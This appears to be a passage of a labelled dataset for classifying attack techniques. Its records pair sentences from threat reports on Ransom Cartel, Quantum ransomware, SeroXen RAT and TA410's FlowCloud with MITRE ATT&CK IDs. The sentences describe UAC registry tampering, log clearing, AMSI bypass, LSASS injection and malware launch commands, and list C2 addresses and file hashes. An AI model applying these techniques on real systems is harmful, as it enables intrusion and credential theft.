Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Software Deployment Tools Deploys PDQ Inventory Scanner tool. T1059.001.", "labels": ["T1072"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Modify Registry Modifies the Registry to disable UAC remote restrictions by setting SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy to 1. T1070.001 Indicator Removal on Host: Clear Windows Event Logs Uses wevtutil to clear the Windows event logs.", "labels": ["T1112", "T1562.001"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "T1027.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Remote Services: SSH Uses Putty for remote access. T1550.002.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Remote Access Software Uses AnyDesk to remotely connect and transfer files. T1090.003.", "labels": ["T1219"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Proxy: Multi-hop", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Malware, Tools and Exploits Used Execution Credential Access Discovery Privilege Escalation Lateral Movement Command and Control Exfiltration PowerShell Windows command shell MimikatzLaZagneDonPAPI PDQ Inventory scannerAdvanced Port Scannernetscan.exe Print Nightmare Putty AnyDeskCobalt Strike Rclone Table 10.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Palo Alto Networks customers receive help with detection and prevention of Ransom Cartel ransomware in the following ways: WildFire:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Post exploitation activities detail some familiar and some new techniques and tooling, which led to domain wide ransomware.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This case shares similarities of the IcedID campaign detailed by Malware-Traffic-Analysis.net, where the ADGet.exe application was referenced.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After that, the threat actors tried a GetSystem privilege escalation technique, which was blocked by antivirus.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After this, the threat actors began their first lateral movement to a server in the environment by copying their Cobalt Strike DLL over to the host and executing it via a remote service.", "labels": ["T1210", "T1570"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Several more beacons were also loaded on the host using DLLs and PowerShell.", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "These actions, however, failed to get a beacon to launch on the domain controller being targeted.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Once there, they then loaded textbin[.]net, a pastebin style site, to download Cobalt Strike PowerShell code to the host in a file named pon.txt. Trying to execute this locally failed as well, and the threat actor moved on to downloading a variety of beacon executables (e.g. lsass.exe, lsasss.exe, etc.).", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Next, the threat actor executed PowerShell to pop up an alert message on several hosts, letting the user know that the machine was infected with Cobalt Strike.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This appeared to fail.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Once executed, the ransomware left the ransom note README_TO_DECRYPT.html, which informs the victim that Quantum ransomware is responsible for the intrusion.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "max\\easygoing.dat C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\*", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "D:\\max\\eyewear.bat ➝ rundll32 C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\easygoing.dat,#1 On the second day of the intrusion, the threat actors used the IcedID malware to drop a Cobalt Strike beacon and executed it using regsvr32.exe.", "labels": ["T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The NSA Cyber Windows Event Monitoring Guidance, has the following statement: Application crashes may warrant investigation to determine if the crash is malicious or benign.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "A TrojanDropper:PowerShell/Cobacis.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "B VirTool:MSIL/Menace.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "C!MTB There was evidence that that the Cobalt Strike aggressor script AnnoyKit was leveraged to launch Internet Explorer via a COM object.", "labels": ["T1140"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": " HighestAvailable [REDACTED] InteractiveToken ", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This is a known behavior of Cobalt Strike and its function shinject, which can be used to inject a new beacon or a specific program to another process on the victim’s computer.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Many of these beacons could also be detected in memory scanning with the Malpedia Cobalt Strike rule.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The activity was observed in Windows Security Event ID 4662, with known indicators including non-computer based account, an access mask of 0x100, and object IDs.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Threat actors used the function CreateRemoteThread in order to inject malicious code in LSASS process to access credentials.", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "powershell.exe Import-Module ActiveDirectory", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "*file/", "labels": ["T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "An example of an incorrect named command was nslook up (should have been nslookup) that also incorrectly passed the username, instead of the host name.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Reviewing the WebCacheV01.dat on the domain controllers, reveals more details on the sites loaded, including the files that where downloaded from those sites: The threat actors downloaded the lsass.exe beacon from their attacker hosted infrastructure at 199.127.60[.]117.", "labels": ["T1003.001", "T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Decoding this revealed another PowerShell Base64 encoded string:", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The -e is short for -EncodedCommand.", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "There are many different variations of EncodedCommand, with shorthand and aliases available.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "ADGet : An uncommon tool An Active Directory collection tool called ADGet was dropped into a user’s temp folder and executed with an output filename argument.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Its a simple to use tool, the application is invoked from the command line and passes an output file name to save enumerated AD objects.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "ADfind:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "(objectCategory=subnet) >", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Its likely the code was reused from other open source pentest enumerations scripts available, such as: WMIC The use of WMIC was leveraged by a batch file named dS.bat that queried a number of target hosts to determine the host disk drive configuration.", "labels": ["T1047", "T1059.003", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "During these RDP sessions, the threat actors often opened Internet Explorer to download their beacons or commands they wanted to run on lateral hosts.", "labels": ["T1021.001", "T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "In addition, multiple text files were also created to store the output of various discovery commands and scripts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "C:\\ProgramData\\qwe3.txt C:\\Users\\[REDACTED USER]\\Downloads\\sns.txt C:\\Windows\\Temp\\events_Administrator.text C:\\Windows\\Temp\\events_[REDACTED USER].text C:\\Windows\\Temp\\listing.txt C:\\Windows\\Temp\\ns.txt C:\\Windows\\Temp\\nsserv.txt IcedID The malware configuration: Configuration details: {“Campaign ID”: 2220668032 ,“C2 url”: “alockajilly.com”} Initially the IcedID malware made a connection to 64.227.12[.]180:80 for it’s first call back.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "When beacons were deployed within the environment, there was a significant increase in outbound network connections to C2 servers.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Cobalt Strike SSL characteristics: destination.ip destination.port tls.client.ja3 tls.client.ja3s zeek.ssl.server.name 172.93.181.165 443 a0e9f5d64349fb13191bc781f81f42e1 ae4edc6faf64d08308082ad26be60767 fazehotafa[.]com 45.66.151.109 443 a0e9f5d64349fb13191bc781f81f42e1 ae4edc6faf64d08308082ad26be60767 guteyutur[.]com 111.90.143.191 443 72a589da586844d7f0818ce684948eea ae4edc6faf64d08308082ad26be60767 – 78.128.112.139 443 72a589da586844d7f0818ce684948eea f176ba63b4d68e576b5ba345bec2c7b7 – Analysis of the Nigu.exe binary indicated use of compression and PE loading characteristics, typically observed for Cobalt Strike payload beacon.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "For example, Event 4779 relating to a user disconnecting from a terminal session, reveals the client name of the source workstation.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Exfiltrated Documents Opened Remotely During the second day of the intrusion, documents from the organization were opened remotely from 212.102.59[.]162 and 165.231.182[.]14.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The locker_64.exe file was then renamed to 64.exe and executed using the text file in the command arguments: 64.exe /[email protected] The threat actors attempted to execute the malware across all hosts in the target list, but only execution on the backup server was observed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "199.127.60[.]117 199.101.184[.]230 Computed Invoice-09-28#268_PDF.iso 515047b6ce410001696812bc85e197d1 26b11c95a6a324dbb0ab32428361b0531234ecee 68f971a1b391f809058e83058a2037d29c28a8a21fd618b0d952466c632ff1be documents.lnk 1af7a0e058ce1b63b138a1425a835561 66b8da857c6dc45dea3a9fb17a503b3c2d203245 1ee563caf943d3a7ed315dda9c37f0c9c445eec6dfb78ae196d2989626a0dfec eyewear.bat 0d51c60c67c62836ba0f7948113b3737 a597205ed55b6e6413a17edb62cbb29bda735676 999cba918c297bf0b0d7d4aa9003e6338cc300a9270cc758d1d108c26603417d easygoing.dat f102a95e749d1ee63c71df902856ae51 fda81b5951bb02ef0236088c310d9bc4fa70e1e6 f27d924911a7087928012764358bad9240b2ba8aeeca5e0d717abdbb82344981 rapuab1.dll ce1b0e77a31da8dc68f77a977b04f3e4 5facd0aa9a29e0768ab9f432c79eac173af69711 163800b0fbf1b1b7bbc7f719df421ed717111c7c9ddea9c9b41f898ee22dd51a 9bd6b1f24b9589a3fbc1d54b6e6184b8 f8473c6c8b298a3d72c8ca890667eddab62d2ba8 03a9d6afc99e70333723d921bd1265ac948cdabb8b15689b5ceb1c02365a9572 beacA.dll 1b1497c2758ff5a8ade2df336a7a6c2d d6cc874f84797813c225318b877eace04ca5f5a1 47ed0d1c7d8abc159d1eb2bb9fbe037f38b0846217cc11132652734f93ad5678 beaconM-1664297797-T0B9Z_32-cr.exe dbb08886c60f3c44b377d09bd9d8b6d3 7262b7df4d90409fb141856d9b55792872deda20 8f7cc7cc14a12753d41678981b929546d12218d457a9d22951808cb5f19e549c df5ce1159ef2e257df92e1825d786d87 a7e163eaa0fc2afb9c0d5ac6f79cb3e49919dd3c 842737b5c36f624c9420a005239b04876990a2c4011db87fe67504fa09281031 AD.bat e77f23aac8db0d23196b6bef64fe04fc 90bf77e194970dd74d1b49faf58ae395ce49bb34 c2ebcc389304539bc13c3d2023cf88f9ea0bac7210fefa03f8333eaab0bbb76d ns.bat 7ac356035fce31e9e14c3a3d371ddf41 61f838d9b0998ab23877e86f6e8ba3551799e07c 4f52c7448bdcb4caa2eff701b0f3b60b406aea278ecd5a3b23cac808a65418e7 92edbbeff775928cfc6e3c8efefe4ecc fffa0ce086791c41360971e3ce6a0d1af1701616 fc4da07183de876a2b8ed1b35ec1e2657400da9d99a313452162399c519dbfc6 955d0cf317efe48bf0394330fcd82ebb d84d40038311e188e25c78389b51b900de9c69bd e9da08831e0d4395f697e4f18c87be941bf52c79d84da1cc88186bdea1ebf4f4 lsass.dll adc50d0c1e7bf37288a612a0f278e028 6254e8cca47d87f29e85627a08ba88b79915a459 fafc84466c1ce361bb6ce219bde2b64ca07a6a6feda23f444749ba06c44b0580 397020072f5787dbbc0c344f98623bbd 970e793c86266b20d280c04e0f41ec7ae9c2093c 6511d6e84343c2d3a4cd36853170509e2751e27c86f67c6a031dc88e7e495e48 601d613bff412d245e3edf46dc499d83 a39b9119003c63583e2a0f11f19f3e6050399176 2a2c83a7c8cd33e45dc14b8d955e00161580d6d2736f4e75a235aa3eb2f21528 locker_32.dll 131d277cfbc9f4b2d667150d84ad503d f05ff93ee4d2f31bc70c0484a559d562203b7700 a378b8e9173f4a5469e7b5105be40723af29cbd6ee00d3b13ff437dae4514dff license.dat b31de50a57e8cb73c9efda8b97ffa261 a7e3f617644599ec695da84d140a7b69c392a421 55be890947d021fcc8c29af3c7aaf70d8132f222e944719c Network ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike ET Threatview.io High Confidence Cobalt Strike C2 IP group 2 ET INFO Pastebin-style Service (textbin .net in TLS SNI) ET INFO Splashtop Domain (splashtop .com) in TLS SNI ET INFO Splashtop Domain in DNS Lookup (splashtop .com)", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "AnyDesk Remote Desktop Software User-Agent ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472) ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1 ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Sigma Yara win_cobalt_strike_auto CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara https://github.com/The-DFIR-Report/Yara-Rules/blob/main/18041/18041.yar Spearphishing Attachment - T1566.001 Windows Management Instrumentation - T1047 Windows Command Shell - T1059.003 Malicious File - T1204.002 PowerShell - T1086 Service Execution - T1035 Scheduled Task - T1053.005 Exploitation for Privilege Escalation - T1068 Access Token Manipulation - T1134 Regsvr32 - T1218.010 Rundll32 - T1218.011 DCSync - T1003.006 LSASS Memory - T1003.001 Domain Trust Discovery - T1482 System Information Discovery - T1082", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Since then, there have been released updates to the code until v1.4.1 in March 2023, which is the most current version.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "It was around that time that the malware was first observed in the wild, appearing with 0 detections on VirusTotal.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Several lure injector cheat files have been observed with names invoking popular videogames such as Fortnite, Valorant, Roblox or Warzone2.", "labels": ["T1036.005"], "doc_title": "SeroXen RAT for sale"} {"sentence": "The threat actor used Discord for the distribution of some of the samples. Figure 3.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This is currently true from a static analysis point of view, since the RAT is packaged into an obfuscated PowerShell batch file.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "In addition, its rootkit loads a fresh copy of ntdll.dll, which makes it harder to detect by Endpoint Detection & Response (EDR) solutions that hook into it to detect process injections.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Obfuscated bat script.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Payload embedded resources.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This is in the form of two .NET assemblies: CSStub2.InstallStager.exe, and CSStub2.UninstallStager.exe.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "And a Win32 binary called CSStub2.$sxr-nircmd.exe, which corresponds to the unmodified command-line utility NirCmd.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Option to embed additional malware to be executed with the rootkit – in this case NirCmd and/or Quasar.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "The rootkit uses several evasion techniques: AMSI bypass: PowerShell inline script patches “amsi.dll!AmsiScanBuffer” to always return “AMSI_RESULT_CLEAN”.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "L”$sxr” R77_SERVICE_NAME32 Name for the scheduled task that starts the r77 service for 32-bit processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "HIDE_PREFIX L”svc64″ CHILD_PROCESS_PIPE_NAME32 Name for the named pipe that notifies the 32-bit r77 service about new child processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The service kicks off the load of the rootkit’s DLL that is embedded as a resource and saves its configuration as a registry key.", "labels": ["T1027", "T1112"], "doc_title": "SeroXen RAT for sale"} {"sentence": "(In SeroXen case it’s", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Child process injection.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_R77_RESUME_INJECTION The control code that resumes injection of new processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The functionalities offered by the threat actor for the C&C server closely mirror those found in the Quasar Github repository, including support for TCP network streams (both IPv4 and IPv6), efficient network serialization, compression using QuickLZ, and secure communication through TLS encryption. Figure 10.", "labels": ["T1027", "T1071.001", "T1095"], "doc_title": "SeroXen RAT for sale"} {"sentence": "SURICATA IDS SIGNATURES 2035595:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Scheduled Task T1059: Command and Scripting Interpreter T1059.003:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Abuse Elevation Control Mechanism T1548.002: Bypass User Account Control TA0005: Defense Evasion T1112: Modify Registry T1553:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Remote Desktop Protocol TA009: Collection T1005:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "ESET researchers reveal a detailed profile of TA410: we believe this cyberespionage umbrella group consists of three different teams using different toolsets, including a new version of the FlowCloud espionage backdoor discovered by ESET.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "TA410 has been active since at least 2018 and was first publicly revealed in August 2019 by Proofpoint in its LookBack blogpost.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "ESET telemetry shows victims all around the world, mainly in the governmental and education sectors.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Monitoring clipboard events to steal clipboard content.", "labels": ["T1005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "FlowingFrog and JollyFrog share network infrastructure – more precisely, the domain ffca.caibi379[.]com, as mentioned by Proofpoint.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "In ESET telemetry, we have observed this as having happened at least twice: for instance, one victim is a French academic, and another is a member of a diplomatic mission of a South Asian country in China.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The public-facing application compromise approach is what we have seen the most.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "They then dropped an ASPX webshell that was used to install other malicious components.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "In August 2021, we observed LookBack being loaded by an IIS worker process on a server belonging to an industrial manufacturing company in Japan.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This happened following the exploitation of the Exchange ProxyShell vulnerability on that server, as we describe in ESET Threat Report T3 2021.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It also contains RTTI symbols and thus a few C++ class names: ClientSocket Manager DllManager KernelManager These class names are the same as used in Farfli/Gh0stRAT, a backdoor that has been used for more than 10 years to conduct (mostly) cyberespionage operations.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Its source code was leaked and is now available on GitHub.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Thus, we believe that TA410 developers reused code copied from Farfli.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "On VirusTotal, as shown in Figure 5, we can see one more HTTP request to 103.139.2[.]93 was triggered during the execution of the RTF file.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "A summary of the compromise chain is provided in Figure 6. Figure 6.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Compromise chain from the Royal Road document to FlowCloud FlowCloud FlowCloud is a complex implant written in C++.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "In this section, we analyze FlowCloud versions 5.0.2 and 5.0.3.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This deployment process is very similar to the one described by Proofpoint for version 5.0.1.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The same values are hardcoded in the following stages, which leads us to think that the samples are generated using a builder.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The application and the accompanying relevant and malicious DLL were both embedded in the loader’s resources.", "labels": ["T1027", "T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This is a real possibility as such vulnerabilities were present in older versions of EmEditor, but we did not see any samples using it.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "If those checks detect a debugger, the function returns a value that will cause the program to jump to an invalid address and crash.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Decompiler view showing the obvious pattern of anti-debugging checks.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It then sets specific registry keys and files as guardrails to skip the setup on subsequent runs.", "labels": ["T1547.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The injected code loads the same backdoor (rescure.dat) into the process’s memory and calls its startModule export to finish the installation.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "fcClientDll (responsor.dat)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This complex module is the main component of the backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "server_config: This section contains information about the C&C servers and identification information about the victim and backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "product_name: A name for the backdoor in use.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "product_version: The backdoor’s version.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "These roughly follow an internal naming convention where classes with names ending with manager_handler perform actions in response to C&C commands, while those whose names end with manager automatically perform actions based on timers or event listeners.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Data is encrypted with the aforementioned file_key before being inserted into the database.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The classes are orchestrated by an instance of fc_kernel_manager.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "As shown in Figure 13, parameters and frequency of automated actions can be specified and finely tuned through configuration policies.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The policys [sic] section of a decoded FlowCloud config As we have previously mentioned, this implant uses a lot of classes.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It also creates an invisible window that listens for file creation, modification, or renaming events.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Figure 14 shows, after the extraneous code has been removed, how that interface is used.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Another interesting feature is the near real-time monitoring of process activity.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "As seen in Figure 15, it achieves this by creating an invisible window with a custom class and registering two clipboard formats.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Set up monitoring of the clipboard Collected clipboard content is stored along with information about the current foreground window.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This information can help attackers understand the data by contextualizing it.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The second way it can collect information about the computer’s surroundings is by recording audio.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Much like a voice assistant, FlowCloud can use a computer’s microphone to listen to its surroundings, but instead of recording being triggered by a command word, it seems to be triggered by any sound over a threshold defined by the decibel_limit field of the audio_policy.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Exits if the process’s executable is not the expected DLL hijacking target (e.g., setlang.exe).", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This code inside the new process launches a thread that decrypts and loads the fcClient module before calling its startModule export.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Driver (hidmouse.sys) FlowCloud’s driver serves a dual purpose: it acts as both a keylogger and a rootkit.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "That code covers all versions from Windows XP to Windows 10 20H1.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "TA410 – LookingFrog LookingFrog uses two main malware families: X4 and LookBack.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "We have seen both of them on machines belonging to the same victim. X4 X4 is a custom backdoor that is used as a first stage, before LookBack is deployed.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The loader injects an orchestrator into memory in a svchost.exe process.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It is encrypted using the AES algorithm and stored in the Windows registry.", "labels": ["T1112", "T1573.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Network shellcode registry keys Registry KeyDescription HKLM\\SOFTWARE\\Microsoft\\DRM\\X4KeyAES key. HKLM\\SOFTWARE\\Microsoft\\DRM\\PSKeyName of the process into which the shellcode will be injected (spoolsv.exe). HKLM\\SOFTWARE\\Microsoft\\DRM\\X4DataEncrypted shellcode.", "labels": ["T1055", "T1112", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "0x3F5FAFC0EDDpskillKill a process by PID.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "0x3F5FB1E6015pslistList the running processes using CreateToolhelp32Snapshot and Process32Next.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "0xE9478DCliveGet the PID of the process in which the orchestrator is running.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Backdoor In all samples we observed, the LookBack loader is a legitimate version of libcurl.dll with the curl_share_init (ordinal #52) export modified to load the SodomNormal communications module.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "There seems to be little to no overlap between the values used by the client and the server.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "9ServerReply to message type 8.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "36 and 